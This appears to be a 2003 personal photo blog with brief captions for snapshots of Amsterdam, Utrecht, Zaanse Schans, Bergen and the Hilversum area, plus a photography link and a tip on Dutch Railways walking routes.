Amsterdam, Buitensingel, june 23, 2003. Near garden park "Nieuw Vredelust" chicken are walking on the road.
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Exam Photos 
The Netherlands, Utrecht, june 17, 2003. Six students from the course Linux are sweating over their exam. Their teacher took photos. This panorama is made of 8 photos.
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Church (2) Photos 
The Netherlands, Amsterdam, Russian-orthodox church, Kerkstraat, june 15, 2003.
With kneeling, bending, cross gestures and kissing icons, the orthodox christians honour the Lord and the saints.
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Church (1) Photos 
The Netherlands, Amsterdam, Russian-orthodox church, Kerkstraat, june 15, 2003.
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Blur (2) Photos, Blur 
The Netherlands, Utrecht, central station, june 10, 2003. Pedestrians cross the road towards the bus station.
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Blur (1) Photos, Blur 
The Netherlands, Utrecht, june 10, 2003. Taken from a bus with a long exposure. On the background you can see the Dom, the highest church tower in the Netherlands.
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Zaanse Schans Photos 
The Netherlands, Zaanstad, Zaanse Schans, june 9, 2003. Cheese, windmills, wooden shoes and low grassland. This is a famous museum park where you can see Holland with all its cliche's. This farm building is a wooden shoe factory/museum/shop.
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Poppy with bee Photos, Amsterdam, Netherlands 
The Netherlands, Amsterdam, june 6, 2003.
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Maria sleeps Photos 
The Netherlands, Amsterdam, june 5, 2003.
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Maria's eye Photos 
The Netherlands, Amsterdam, june 5, 2003. Photo taken with candlelight, with the Canon Powershot A60 set to 400 asa.
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Canal by night Photos 
The Netherlands, Utrecht, Alexander Numankade, june 3, 2003. Here I waited every tuesday evening for the bus, after having tought at a Linux course.
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Orchid Photos, Nature 
The Netherlands, Heerhugowaard, Intratuin garden mall, may 29, 2003.
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Boots Photos, Humor 
The Netherlands, Heerhugowaard, Intratuin garden mall, may 29, 2003.
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Photo tip Linkdump Yann Arthus-Bertrand takes very nice pictures, especially from the air, showing the state of our planet. Found via Linkesoep. Onno - sep 21, 2003, 01:09 -
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Hats Photos, People 
The Netherlands, Bergen, may 29, 2003.
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Glass spheres Photos 
The Netherlands, Bergen, may 29, 2003.
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Gooi estates Photos, Panoramas 
The Netherlands, Het Gooi near Hilversum, Spanderswoud, may 18, 2003. Small panorama made of 2 photos.
The Dutch railroads have routed a collection of pathways in all parts of the country. Most of these walks are 10 to 18 kilometres and they will bring you to the most beautiful places, mostly out of urban areas. Ask at any Dutch train station for more details or browse to www.ns.nl.
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Forest house Photos 
The Netherlands, near Hilversum, may 18, 2003.
Dutch Railways footpath "Gooise Lusthoven".
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